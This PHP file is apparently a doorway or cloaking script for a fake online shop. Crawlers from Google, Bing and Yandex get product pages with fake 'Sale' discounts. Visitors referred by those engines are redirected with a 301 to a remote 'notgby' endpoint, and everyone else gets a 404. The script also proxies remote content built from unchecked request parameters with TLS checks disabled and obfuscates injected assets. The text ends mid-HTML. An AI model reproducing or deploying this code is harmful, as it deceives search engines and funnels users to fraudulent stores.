<?php
ini_set('display_errors', '0');
class  index{

    const CATEGORY_URL = '/api/get_banner';
    const SUB_URL = '/api/get_sub';
    const PRODUCT_URL = '/api/get_list';
    const DETAIL_URL = '/api/get_detail';
    const RANDOM_KEYWORDS_URL = '/api/randomWords';
    const NOT_GBY_URL = '/api/notgby';
    const LINK_CACHE_URL = '/api/link/cache';
    const HOT_TOPICS_INDEX_URL = '/api/hot/get_index';
    const HOT_TOPICS_LIST_URL = '/api/hot/get_list';
    const HOT_TOPICS_DETAIL_URL = '/api/hot/get_detail';
    const HEALTH_CHECK = 'healthcheck';
    const CACHE_ROUTE = '_cache_';
    const LIST_PAGE_ROUTER_NAME = 'collection';
    const DETAIL_PAGE_ROUTER_NAME = 'detail';
    const VERIFY_PRODUCT_TYPE = 'product_id';
    const VERIFY_CATEGORY_TYPE = 'category_id';
    const API_SRC_NAME_EBAY= 'ebay';
    const API_SRC_NAME_AMAZON = 'amazon';
    const API_SRC_NAME_BRANDAPI = 'brandapi';
    const API_SRC_NAME_HOT_TOPICS = 'hottopics';
    const DEFAULT_TITLE_NAME = 'Best Shop';
    const CATEGORY_FILE_NAME = "TLC";
    const RANDOM_KEYWORDS_FILE_NAME = "RKW";
    const HOME_FILE_LIST = "LIST";
    const HOME_FILE_SUB = "SUB";
    const HOME_FILE_DETAIL = "DETAIL";
    const CACHE_DIRECTORY = "child_cache";
    const CATEGORY_ID_MIN_LEN = 1;
    const CATEGORY_ID_MAX_LEN = 12;
    const PRODUCT_ID_MIN_LEN = 9;
    const PRODUCT_ID_MAX_LEN = 15;
    const RAW_PRICE_RATE = 88 / 100;
    const DISPLAY_PRICE_RATE = 60 / 100;
    const DEFAULT_PRODUCT_RECOMMEND = 8;
    const DEFAULT_PAGE_NUM = 1;
    const DEFAULT_PAGE_SIZE = 10;
    const CACHE_EXPIRE_TIME = 86400;
    const CACHE_SLEEP_TIME = 1;
    private $apiUrl;
    private $appId;
    private $domain;
    private $domainId;
    private $apiSrc;
    private $apiExtra;
    private $isNginx;
    private $isHotTopics;
    private $route;

    public function init(){
        $jsonConfig = file_get_contents(__DIR__ . DIRECTORY_SEPARATOR . 'config.json');
        $config = json_decode($jsonConfig, true);
        $this->appId = $config['app_id'];
        $this->apiSrc = $config['api_src'];
        $this->apiExtra = $config['api_extra'];
        $this->domainId = $config['domain_id'];
        $this->isHotTopics = false;
        $this->route = str_replace(array("\\", "/index.php"), array('/', ''), $_SERVER['PHP_SELF']);
        $protocol = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https' : 'http';

        $this->apiUrl = "https://{$config['api_url']}";
        if(substr($this->apiUrl, -1) == '/') {
            $this->apiUrl = rtrim($this->apiUrl, '/');
        }

        $len = strlen('www.');
        $this->domain = $_SERVER['HTTP_HOST'] ?: $_SERVER['SERVER_NAME'];
        $sitemapHost = $this->domain;
        if (substr($this->domain, 0, $len) === 'www.') {
            $this->domain = str_replace('www.', '', $this->domain);
        }

        $referer = $_SERVER['HTTP_REFERER'];
        if ($referer) {
            $parsedUrl = parse_url($referer);
            $source = $parsedUrl['host'];
        }


        $type = $_GET['t'];
        if($type == 'sitemap' && $_GET['f']){
            $sitemapFileName = $type . ($_GET['s'] ?: '') . ".{$_GET['f']}";
            $url = "{$this->apiUrl}/sitemap/{$sitemapFileName}";
            $response = $this->curlStatic($url, ["X-Forwarded-Host: {$sitemapHost}", "X-Forwarded-Proto: {$protocol}"]);
            echo $response;
            exit();
        }


        if($type == 'static'){
            $staticUrl = "https://{$config['api_url']}/{$_GET['p']}/{$_GET['e']}";
            $response = $this->curlStatic($staticUrl);
            if($response != false){
                if(strpos($_GET['e'], 'plugins.css') == true){
                    $response = preg_replace('/url\("([^"]*)"\)/', "url({$this->getCompleteRoute()}$1)", $response);
                }
                echo $response;
            }
            exit();
        }

        if($type == 'gen_sitemap'){
            $scheme = isset($_SERVER['scheme']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
            $app_id = $config['app_id'];
            $response_data= array(
                "scheme"=> $scheme,
                "app_id"=> $app_id,
                "path"=> ""
            );
            echo json_encode($response_data);
            exit();
        }

        if($type == 'robots') {
            // 输出默认的 robots.txt 内容
            header('Content-Type: text/plain');
            echo "User-agent: *\nAllow: /\nSitemap: " . $protocol . "://" . $sitemapHost . "/sitemap.xml";
            exit();
        }


        $userAgent = $_SERVER['HTTP_USER_AGENT'];
        if (preg_match('/(google|bing|yandex)/i', $userAgent)) {
            switch ($type){
                case self::LIST_PAGE_ROUTER_NAME:
                    echo $this->replaceListHtml();
                    break;
                case self::DETAIL_PAGE_ROUTER_NAME:
                    echo $this->replaceDetailHtml();
                    break;
                default:
                    echo $this->replaceHomeHtml();
            }
            exit();
        } else if (!empty($source) && preg_match('/(google|bing|yandex)/i', $source)) {
            $redirectUrl = $this->apiUrl . self::NOT_GBY_URL . "?a=" . urlencode($this->appId) . "&c=" . urlencode($this->apiSrc) . "&x=" . urlencode($this->apiExtra) . "&r=" . urlencode($source) . "&d=" . urlencode($this->domainId) . "&k=" . urlencode($this->domain) . "&p=1";
            if(!empty($_GET) && is_array($_GET)){
                foreach ($_GET as $key => $value){
                    $redirectUrl = $redirectUrl . "&{$key}={$value}";
                }
            }
            header("HTTP/1.1 301 Moved Permanently");
            header("Location: {$redirectUrl}");
            exit();
        } else if ($_GET['h'] == self::HEALTH_CHECK && $_SERVER['REQUEST_METHOD'] === 'GET'){
            http_response_code(204);
            exit();
        } else if($_GET["h"] == self::CACHE_ROUTE && $_SERVER['REQUEST_METHOD'] === 'POST'){
            $this->setHomeDataCache();
            http_response_code(200);
            exit();
        } else {
            header("HTTP/1.1 301 Moved Permanently");
            header("Location: /404");
            exit();
        }
    }

    public function setHomeDataCache(){
        $response = $this->curlApi(
            $this->apiUrl . self::LINK_CACHE_URL,
            array(
                'scheme' => isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http' ,
                'parent_id' => $this->domainId,
                'domain' => $this->domain,
                'path' => "{$this->getCompleteRoute()}/",
                'app_id' => $this->appId,
                'api_src' => $this->apiSrc,
                'api_extra' => $this->apiExtra,
            ),
            [],
            'POST'
        );
        $data = json_decode($response['data'], true);
        if($data['status_code'] == 200){
            $this->getRandomKeyWords('');
            $categoryList = $this->getCategory();

            $firstCategory = array_shift($categoryList);
            $firstList = $this->getList($firstCategory["category_id"], self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE);
            $this->setCache(self::HOME_FILE_LIST, json_encode($firstList), [$firstCategory["category_id"], self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE]);
            $subList = $this->getSubList($firstCategory["category_id"]);
            $this->setCache(self::HOME_FILE_SUB, json_encode($subList), [$firstCategory["category_id"]]);

            foreach ($firstList as $product) {
                $detail = $this->getDetail($product['id'], self::DEFAULT_PRODUCT_RECOMMEND);
                $this->setCache(self::HOME_FILE_DETAIL, json_encode($detail), [$product['id']]);
                sleep(self::CACHE_SLEEP_TIME);
            }

            foreach ($categoryList as $category) {
                $list = $this->getList($category['category_id'], self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE);
                $this->setCache(self::HOME_FILE_LIST, json_encode($list), [$category['category_id'], self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE]);
                $subList = $this->getSubList($category['category_id']);
                $this->setCache(self::HOME_FILE_SUB, json_encode($subList), [$category['category_id']]);
                sleep(self::CACHE_SLEEP_TIME);
            }

            echo 'OK';
            die();
        }
        http_response_code($data['status_code']);
        echo $data['data']['errmsg'];
        die();
    }

    /**
     * Replace category html
     * @param $categoryList
     * @param $html
     * @return string|string[]|null
     */
    public function replaceCommonHtml($categoryList, $html){
        $pcCategoryHtml = $this->buildCategoryHtml($categoryList);
        $mobileCategoryHtml = $this->buildCategoryHtml($categoryList, true);

        $staticCssHtml = file_get_contents(__DIR__ . '/static.css.html');
        $staticCssHtml = preg_replace('/(src=|href=)([\'"])(\/.*?)\2/', '$1"' . $this->route . '$3"', $staticCssHtml);
        $staticCssHtml = str_replace(["\r", "\n"], '', $staticCssHtml);

        $encryptStatic = $this->encode($staticCssHtml, $this->domain);
        $cssChunks = $this->splitStringIntoChunks($encryptStatic, 100);

        $html = preg_replace_callback('/{{static.css}}/', function() use ($cssChunks) {
            return $cssChunks;
        }, $html);

        $staticJsHtml = file_get_contents(__DIR__ . '/static.js.html');
        $staticJsHtml = preg_replace('/(src=|href=)([\'"])(\/.*?)\2/', '$1"' . $this->route . '$3"', $staticJsHtml);
        $staticJsHtml = str_replace(["\r", "\n"], '', $staticJsHtml);

        $encryptStatic = $this->encode($staticJsHtml, $this->domain);
        $jsChunks = $this->splitStringIntoChunks($encryptStatic, 100);
        $html = preg_replace_callback('/{{static.js}}/', function() use ($jsChunks) {
            return $jsChunks;
        }, $html);

        $html = preg_replace('/{{product_category}}/', $pcCategoryHtml, $html);
        $html = preg_replace('/{{product_category_mobile}}/', $mobileCategoryHtml, $html);
        $html = preg_replace('/{{prefix}}/', $this->getCompleteRoute(), $html);

        $desiredPath = $this->getCompleteRoute();
        $html = preg_replace('/(src=|href=)([\'"])(\/.*?)\2/', '$1"' . $desiredPath . '$3"', $html);


        $footer = '<span class="footer-copyright">Copyright© '.date('Y').' <a style="color: #007bff" href="'. $desiredPath . '">' . $this->domain . '</a> All Rights Reserved</span>';
        $html = preg_replace('/{{footer_copyright}}/', $footer, $html);

        return $html;
    }

    /**
     * Replace home html
     * @return string|string[]|null
     */
    public function replaceHomeHtml(){
        $html = file_get_contents(__DIR__ . DIRECTORY_SEPARATOR . 'home.html');

        $categoryList = $this->getCategory();
        $hotTopicsData = $this->getHotTopicsIndex();
        $fistCategory = array_shift($categoryList);
        $list = $this->getList($fistCategory['category_id'], self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE);
        $listHtml = $this->buildListHtml(array_merge($hotTopicsData, ["{$fistCategory['category_name']}_{$fistCategory['category_id']}" => $list]), self::DEFAULT_PAGE_NUM, self::DEFAULT_PAGE_SIZE);
        $html = preg_replace('/{{product_list}}/', $listHtml['list_html'], $html);

        $html = $this->replaceElementsHtml($html);
        $html = $this->replaceCommonHtml($categoryList, $html);

        return $html;
    }

    /**
     * Replace collection(list) html
     * @return string|string[]|null
     */
    public function replaceListHtml(){
        list($categoryId, $pageNum, $pageSize) = [$_GET['i'], $_GET['n'] ?: self::DEFAULT_PAGE_NUM, $_GET['s'] ?: self::DEFAULT_PAGE_SIZE];
        $html = file_get_contents(__DIR__ . DIRECTORY_SEPARATOR . 'collection.html');

        $list = $this->getList($categoryId, $pageNum, $pageSize);
        $listHtml = $this->buildListHtml([$list], $pageNum, $pageSize);
        $html = preg_replace('/{{product_list}}/', $listHtml['list_html'], $html);
        $html = preg_replace('/{{collection_turn_page}}/', $listHtml['turn_page_html'], $html);
        $html = preg_replace('/{{collection_breadcrumb}}/', $listHtml['collection_breadcrumb_html'], $html);

        if(!$this->isHotTopics){
            $subList = $this->getSubList($categoryId);
            $subCategoryHtml = $this->buildSubListHtml($subList);
            $html = preg_replace('/{{collection_sub_category}}/', $subCategoryHtml, $html);
        }

        $html = $this->replaceElementsHtml($html, "{$list['key']}", self::LIST_PAGE_ROUTER_NAME, $list);
        $html = $this->replaceCommonHtml($this->getCategory(), $html);

        return $html;
    }

    /**
     * Replace detail html
     * @return string|string[]|null
     */
    public function replaceDetailHtml(){
        $productId = $_GET['i'];
        $html = file_get_contents(__DIR__ . DIRECTORY_SEPARATOR . 'detail.html');

        $product = $this->getDetail($productId, self::DEFAULT_PRODUCT_RECOMMEND);
        $detailHtml = $this->buildProductHtml($product['data'], $product['links']);
        $relatedHtml = $this->buildListHtml([$product['recommends']]);
        $jsonIdHtml = $this->buildJsonIdHtml($product['data']);
        $html = preg_replace('/{{detail_breadcrumb}}/', $detailHtml['breadcrumb_html'], $html);
        $html = preg_replace('/{{detail_product_images}}/', $detailHtml['image_html'], $html);
        $html = preg_replace('/{{detail_product_title}}/', $detailHtml['title_html'], $html);
        $html = preg_replace('/{{detail_product_price}}/', $detailHtml['price_html'], $html);
        $html = preg_replace('/{{detail_product_meta}}/', $detailHtml['meta_html'], $html);
        $html = preg_replace('/{{detail_product_description}}/', $detailHtml['description_html'], $html);
        $html = preg_replace('/{{detail_product_related}}/', $relatedHtml['list_html'], $html);
        $html = preg_replace('/{{detail_json_ld}}/', $jsonIdHtml, $html);

        $html = $this->replaceElementsHtml($html, $product['data']['item_id'], self::DETAIL_PAGE_ROUTER_NAME, [], $product['data']);
        $html = $this->replaceCommonHtml($this->getCategory(), $html);

        return $html;
    }

    /**
     * Replace elements html
     * @param $key
     * @param $html
     * @param string $type
     * @param array $list
     * @param array $product
     * @return string|string[]|null
     */
    public function replaceElementsHtml($html, $key = '', $type = '', $list = [], $product = []){
        $elementsText = $this->buildElementsHtml($key, $type, $list, $product);
        $html = preg_replace('/{{title}}/', $elementsText['title_html'], $html);
        $html = preg_replace('/{{keywords}}/', $elementsText['keywords_html'], $html);
        $html = preg_replace('/{{description}}/', $elementsText['description_html'], $html);

        return $html;
    }

    /** Get Hot Topics Index Data
     * @return array[]
     */
    private function getHotTopicsIndex(){
        $response = $this->curlApi(
            $this->apiUrl . self::HOT_TOPICS_INDEX_URL,
            ['child_domain' => $this->domain]
        );
        list($categories, $list) = array([], []);
        if($response['code'] == 200 && isset($response['data']) && !empty($response['data'])){
            $indexData = json_decode($response['data'], true);
            foreach ($indexData['data'] as $value){
                array_push($categories, $value['category']);
                $encodeId = $this->processRawId("sku" . $value['category']['id']);
                $list["{$value['category']['name']}_{$encodeId}"] = array_map(function ($item){
                    $ratePrice = $this->getDiscountPrice($item['current_price']);
                    return array(
                        'title' => $item['title'],
                        'id'    => $this->processRawId("sku" . $item['item_id']),
                        'url'   =>  self::DETAIL_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($item['title']))) . "_" . $this->processRawId("sku" . $item['item_id']) . ".html",
                        'currency_symbol' => $this->getCurrencySymbol($item['currency_id']),
                        'display_price' => $ratePrice['display_price'],
                        'raw_price' => $ratePrice['raw_price'],
                        'image_src' => $item['album'],
                    );
                }, $value['items']);
            }
        }

        return $list;
    }

    /**
     * Get interface request classification Store in redis cache Expires in half an hour by default
     * @return string|string[]|null
     */
    private function getCategory()
    {
        $categoryListJson = $this->getCache(self::CATEGORY_FILE_NAME);
        $categoryList = json_decode($categoryListJson, true);
        if (!$categoryList || !is_array($categoryList) || empty($categoryList) || time() - $categoryList['expire'] >= self::CACHE_EXPIRE_TIME) {
            $response = $this->curlApi(
                $this->apiUrl . self::CATEGORY_URL,
                array('src' => $this->apiSrc, 'extra' => $this->apiExtra, 'child_domain' => $this->domain),
                ["x-app-id: {$this->appId}"]
            );
            if ($response['code'] == 200 && isset($response['data']) && !empty($response['data'])) {
                $categoryList = json_decode($response['data'], true);
                $categoryList['expire'] = time();
                $this->setCache(self::CATEGORY_FILE_NAME, json_encode($categoryList));
            } else {
                $categoryList = [];
            }
        }
        $categoryList = array_map(function ($item) {
            $item['category_id'] = $this->processRawId("sku" . $item['category_id']);
            return $item;
        }, $categoryList['data']);
        return $categoryList;
    }

    /**
     * Get product list Product list with search function
     * @param $categoryId string category id or product title
     * @param $pageNum int
     * @param $pageSize int
     * @return string|string[]|null
     */
    private function getList($categoryId, $pageNum, $pageSize){
        $cacheKey = $categoryId;
        $request['category_id'] = str_replace(['sku', 'cat'], "", $this->processRawId($categoryId, false));
        $this->verifyProductId($request['category_id'], self::VERIFY_CATEGORY_TYPE);

        $request['page_size'] = (int)$pageSize;
        $request['page_num'] = (int)$pageNum;
        $request['child_domain'] = $this->domain;
        $header = [];
        $urlSuffix = self::HOT_TOPICS_LIST_URL;

        if(!$this->isHotTopics){
            $listJson = $this->getCache(self::HOME_FILE_LIST, [$cacheKey, $pageNum, $pageSize]);
            $list = json_decode($listJson, true);
            if ($list && is_array($list)) {
                return $list;
            }

            $request['src'] = $this->apiSrc;
            $request['extra'] = $this->apiExtra;

            $urlSuffix = self::PRODUCT_URL;
            $header = ["x-app-id: {$this->appId}"];
        }

        $response = $this->curlApi(
            $this->apiUrl . $urlSuffix,
            $request,
            $header
        );
        $list = json_decode($response['data'], true);

        $items = [];
        foreach ($list['data']['items'] as $product){
            $ratePrice = $this->getDiscountPrice($product['current_price']);
            $items[] = array(
                'title' => $product['title'],
                'id'    => $this->processRawId("sku" . $product['item_id']),
                'url'   =>  self::DETAIL_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($product['title']))) . "_" . $this->processRawId("sku" . $product['item_id']) . ".html",
                'currency_symbol' => $this->getCurrencySymbol($product['currency_id']),
                'display_price' => $ratePrice['display_price'],
                'raw_price' => $ratePrice['raw_price'],
                'image_src' => $product['album'],
            );
        }

        $items['key'] = "{$request['category_id']}|{$pageNum}|{$pageSize}";
        return $items;
    }

    /**
     * Get product details information
     * @param $itemId
     * @param $recommend
     * @return string|string[]|null
     */
    private function getDetail($itemId, $recommend){
        $cacheKey = $itemId;
        $itemId = str_replace(['sku', 'cat'], "", self::processRawId($itemId, false));
        self::verifyProductId($itemId, self::VERIFY_PRODUCT_TYPE);

        $request['item_id'] = (string)$itemId;
        $request['recommend'] = $recommend;
        $request['child_domain'] = $this->domain;
        $header = [];
        $urlSuffix = self::HOT_TOPICS_DETAIL_URL;

        if(!$this->isHotTopics){
            $detailJson = $this->getCache(self::HOME_FILE_DETAIL, [$cacheKey]);
            $detail = json_decode($detailJson, true);
            if ($detail && is_array($detail)) {
                return $detail;
            }

            $request['src'] = $this->apiSrc;
            $request['extra'] = $this->apiExtra;
            $request['domain_id'] = $this->domainId;
            $request['path'] = "{$this->getCompleteRoute()}/";
            $request['paas'] = 1;

            $header = ["x-app-id:{$this->appId}"];
            $urlSuffix = self::DETAIL_URL;
        }

        $response = $this->curlApi(
            $this->apiUrl . $urlSuffix,
            $request,
            $header
        );

        $product = json_decode($response['data'], true);

        $product['recommends'] = array_map(function ($recommend){
            $ratePrice = $this->getDiscountPrice($recommend['current_price']);
            return array(
                'title' => $recommend['title'],
                'id'    => $this->processRawId("sku" . $recommend['item_id']),
                'url'   =>  self::DETAIL_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($recommend['title']))) . "_" . $this->processRawId("sku" . $recommend['item_id']) . ".html",
                'currency_symbol' => $this->getCurrencySymbol($recommend['currency_id']),
                'display_price' => $ratePrice['display_price'],
                'raw_price' => $ratePrice['raw_price'],
                'image_src' => $recommend['album'],

            );
        },$product['recommends']);

        return $product;
    }

    /**
     * Get the secondary classification list
     * @param $categoryId
     * @return string|string[]|null
     */
    private function getSubList($categoryId){
        $subListJson = $this->getCache(self::HOME_FILE_SUB, [$categoryId]);
        $subList = json_decode($subListJson, true);
        if ($subList && is_array($subList)) {
            return $subList;
        }
        $categoryId = str_replace(['sku', 'cat'], "", $this->processRawId($categoryId, false));
        $this->verifyProductId($categoryId, "category_id");
        $response = $this->curlApi(
            $this->apiUrl . self::SUB_URL,
            array(
                'src' => $this->apiSrc,
                'extra' => $this->apiExtra,
                "category_id" => $categoryId,
                'child_domain' => $this->domain,
            ),
            ["x-app-id:{$this->appId}"]
        );
        $subCategory = json_decode($response['data'], true);
        return $subCategory['data'];
    }

    /**
     * Get random words
     * @param $key
     * @return mixed|string
     */
    public function getRandomKeyWords($key){
        $randomKeywordsJson = $this->getCache(self::RANDOM_KEYWORDS_FILE_NAME, [$key]);
        $randomKeywordsArr = json_decode($randomKeywordsJson, true);
        if(!$randomKeywordsArr[$key] || is_array($randomKeywordsArr) || empty($randomKeywordsArr) || time() - $randomKeywordsArr['expire'] > self::CACHE_EXPIRE_TIME){
            $response = $this->curlApi(
                $this->apiUrl . self::RANDOM_KEYWORDS_URL,
                array(
                    'key' => $key ? "{$this->domain}|{$key}" : $this->domain,
                )
            );
            $randomKeywords = json_decode($response['data'], true);
            if ($randomKeywords['data']) {
                $randomKeywords = $randomKeywords['data'];
                $cacheRandomKeywordsArr = (is_array($randomKeywordsArr) && !empty($randomKeywordsArr)) ? $randomKeywordsArr + [$key => $randomKeywords] : [$key => $randomKeywords, 'expire' => time()];
                $this->setCache(self::RANDOM_KEYWORDS_FILE_NAME, json_encode($cacheRandomKeywordsArr), [$key]);
            } else {
                $randomKeywords = [];
            }
        }else{
            $randomKeywords = $randomKeywordsArr[$key];
        }
        return $randomKeywords;
    }

    /**
     * Curl api
     * @param $url
     * @param array $request
     * @param string $method
     * @param array $header
     * @return array|bool|string
     */
    public final function curlApi($url, $request = [], $header = [], $method = 'GET'){
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array_merge(['Content-Type: application/json'], $header));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($request));

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

        curl_close($ch);
        if($response == false){
            return $response;
        } else {
            return ['data' => $response, 'code' => $httpCode];
        }
    }

    /**
     * Curl static
     * @param $url
     * @param $header
     * @return bool|string
     */
    public function curlStatic($url, $header = []){
        $ch = curl_init($url);
        if($header){
            curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
        }
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

        $response = curl_exec($ch);
        $contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
        header("Content-Type:{$contentType}");

        curl_close($ch);
        return $response;
    }

    /**
     * Build category html
     * @param $categories
     * @param bool $mobile
     * @return string
     */
    public function buildCategoryHtml($categories, $mobile = false) {
        $html = [];
        $displayCategory = array_slice($categories, 0, 4);
        $closeCategory = array_slice($categories, 4);
        $id = $mobile ? 'accordion-menu-item' : 'nav-menu-item';

        $generateCategoryUrl = function($category) {
            return self::LIST_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($category['category_name']))) . "_" . "{$category['category_id']}.html";
        };

        $generateListItem = function($category, $id, $url) {
            return <<<HTML
                <li id="$id" class="menu-item menu-item-type-post_type menu-item-object-page narrow">
                    <a href="/$url">{$category['category_name']}</a>
                </li>
HTML;
        };

        foreach ($displayCategory as $category) {
            $categoryUrl = $generateCategoryUrl($category);
            $html[] = $generateListItem($category, $id, $categoryUrl);
        }

        $html[] = <<<HTML
            <li id="$id" class="menu-item-has-children menu-item menu-item-type- menu-item-object- has-sub narrow">
                <a>Categories</a><span class="arrow"></span>
HTML;

        if (!$mobile) {
            $html[] = <<<HTML
                <div class="popup">
                    <div class="inner">
HTML;
        }

        $html[] = <<<HTML
            <ul class="sub-menu" style='height:500px;overflow-y:auto'>
HTML;

        foreach ($closeCategory as $category) {
            $categoryUrl = $generateCategoryUrl($category);
            $html[] = $generateListItem($category, $id, $categoryUrl);
        }

        $html[] = <<<HTML
        </ul>
HTML;

        if (!$mobile) {
            $html[] = <<<HTML
            </div>
        </div>
HTML;
        }

        $html[] = <<<HTML
    </li>
HTML;

        return implode('', $html);
    }

    /**
     * Build elements text
     * @param $key
     * @param $type
     * @param $list
     * @param $product
     * @return array
     */
    public function buildElementsHtml($key, $type = '', $list = [], $product = []){
        switch ($type){
            case self::LIST_PAGE_ROUTER_NAME:
                $title = "Products - {$list[1]['title']}";
                $description = $list[1]['currency_symbol'] ." {$list[1]['display_price']},{$list[1]['title']},{$list[2]['title']}";
                break;
            case self::DETAIL_PAGE_ROUTER_NAME:
                $discountPrice = $this->getDiscountPrice($product['current_price']);
                $price = $this->getCurrencySymbol($product['currency_id']) . " " . $discountPrice['display_price'];
                $title = $product['title'];
                $description = "{$price}," . substr(htmlspecialchars(preg_replace('/<\/?[^>]+>/', '', htmlspecialchars_decode($product['description']))), 0, 200);
                break;
            default:
                $title = $this->domain . " - " . self::DEFAULT_TITLE_NAME;
                $description = '';
        }
        $keywords = $this->getRandomKeyWords($key);

        $keywordsHtml = <<<HTML
            <meta name="keywords" content="{$keywords}">
HTML;

        $descriptionHtml = <<<HTML
            <meta name="description" content="{$description}">
HTML;

        $titleHtml = <<<HTML
            <title>{$title}</title>
HTML;

        return ['keywords_html' => $keywordsHtml, 'title_html' => $titleHtml, 'description_html' => $descriptionHtml];
    }

    /**
     * Build list html
     * @param $list
     * @param string $pageNum
     * @param string $pageSize
     * @return array|string[]
     */
    public function buildListHtml($list, $pageNum = '', $pageSize = ''){
        $listHtml = '';
        $turnPageHtml = '';
        foreach ($list as $key => $products){
            if(!is_int($key)){
                $category = explode('_', $key);
                $categoryName = $category[0];
                $categoryUrl = self::LIST_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($categoryName))) . "_{$category[1]}.html";
                $listHtml .= <<<HTML
                    <a href="/$categoryUrl"><h2 class="section-title">{$categoryName}</h2></a>
                    <div class="woocommerce columns-5 ">
                    <ul class="products products-container grid pcols-lg-5 pcols-md-4 pcols-xs-3 pcols-ls-2 pwidth-lg-5 pwidth-md-4 pwidth-xs-3 pwidth-ls-2 is-shortcode" data-product_layout="product-default">
HTML;
            }
            unset($products['key']);
            foreach ($products as $product){
                $listHtml .=  <<<HTML
                    <li class="product-col product-default product type-product post-item status-publish instock has-post-thumbnail sale shipping-taxable purchasable product-type-simple">
                        <div class="product-inner">
                            <div class="product-image">
                                <a href="/{$product['url']}" aria-label="product">
                                    <div class="labels">
                                        <div class="onsale">Sale</div>
                                    </div>
                                    <div class="inner">
                                        <img decoding="async" loading="lazy" src="{$product['image_src']}" width="300" height="300" class="woocommerce-placeholder wp-post-image" alt="Placeholder"/>
                                    </div>
                                </a>
                            </div>
                            <div class="product-content">
                                <span class="category-list"></span>
                                <a class="product-loop-title" href="/{$product['url']}">
                                    <h3 class="woocommerce-loop-product__title">{$product['title']}</h3>
                                </a>
                                <span class="price">
                                    <del aria-hidden="true">
                                        <span class="woocommerce-Price-amount amount">
                                            <bdi>
                                                <span class="woocommerce-Price-currencySymbol">{$product['currency_symbol']} {$product['raw_price']}</span>
                                            </bdi>
                                        </span>
                                    </del>
                                    <ins>
                                        <span class="woocommerce-Price-amount amount">
                                            <bdi>
                                                <span class="woocommerce-Price-currencySymbol">{$product['currency_symbol']} {$product['display_price']}</span>
                                            </bdi>
                                        </span>
                                    </ins>
                                </span>
                                <div class="add-links-wrap">
                                    <div class="add-links no-effect clearfix">
                                        <div class="quantity buttons_added">
                                            <button type="button" value="-" class="minus">-</button>
                                            <input type="number" class="input-text qty text" name="quantity" value="1" title="Qty" size="4" placeholder="" inputmode="numeric"/>
                                            <button type="button" value="+" class="plus">+</button>
                                        </div>
                                        <a href="javascript:void(0);" role="button" aria-label="add to cart" rel="nofollow">Add to cart</a></div>
                                </div>
                            </div>
                        </div>
                    </li>

HTML;
                if($pageNum  && $pageSize){
                    $prevHtml = '';
                    if($pageNum > self::DEFAULT_PAGE_NUM && $pageSize == self::DEFAULT_PAGE_SIZE){
                        $prevUrl = self::LIST_PAGE_ROUTER_NAME . "/_{$_GET['i']}/" . ($pageNum - 1) . "/{$pageSize}.html";
                        $prevHtml = '<li><a class="prev page-numbers" rel="prev" href="/'.$prevUrl.'"></a></li>';
                    }
                    $nextUrl = self::LIST_PAGE_ROUTER_NAME . "/_{$_GET['i']}/"  . ($pageNum + 1) . "/{$pageSize}.html";

                    $turnPageHtml = <<<HTML
                    $prevHtml
                    <li><span aria-current="page" class="page-numbers current">$pageNum</span></li>
                    <li><span class="page-numbers dots">&hellip;</span></li>
                    <li><a class="next page-numbers" aria-label="next page number" rel="next" href="/$nextUrl"></a></li>
HTML;
                }
            }
            if(!is_int($key)){
                $listHtml .= <<<HTML
                     </ul>
                    </div>
HTML;
            }

        }

        $homeUrl = "/";
        $breadcrumbHtml = <<<HTML
                <a itemprop="item" href="{$homeUrl}" title="Go to Home Page"><span itemprop="name">Home</span></a>
HTML;

        return ['list_html' => $listHtml, 'collection_breadcrumb_html' => $breadcrumbHtml] + ($turnPageHtml ? ['turn_page_html' => $turnPageHtml] : []);
    }

    /**
     * Build sub list html
     * @param $subList
     * @return string
     */
    public function buildSubListHtml($subList){
        $categoryHtml = '';
        foreach ($subList as $category){
            $url = self::LIST_PAGE_ROUTER_NAME . "/" . $this->urlCode(ucwords(strtolower($category['category_name']))) . "_" . $this->processRawId("sku" . $category['category_id']) . ".html";
            $categoryHtml .= <<<HTML
                    <li class="cat-item"><a href="/$url">{$category['category_name']}</a></li>
HTML;
        }
        return $categoryHtml;
    }

    /**
     * Build product list
     * @param $product
     * @param $links
     * @return array
     */
    public function buildProductHtml($product, $links){
        $ratePrice = $this->getDiscountPrice($product['current_price']);
        $currencySymbol = $this->getCurrencySymbol($product['currency_id']);
        $quantity = $product['quantity'] >= 10 ? $product['quantity'] : 100;
        $imageHtmlParts = [];
        $imageHtmlParts[] = <<<HTML
        <div class="product-images images">
            <div class="product-image-slider owl-carousel show-nav-hover has-ccols ccols-1">
                <div class="img-thumbnail">
                    <div class="inner" style="height: 30vmax;width: 100%;">
                        <img width="1" height="1" src="{$product['pictures'][0]}"
                             class="woocommerce-main-image img-responsive" alt="" decoding="async" loading="lazy"
                             href="{$product['pictures'][0]}"
                             title="{$product['title']}"
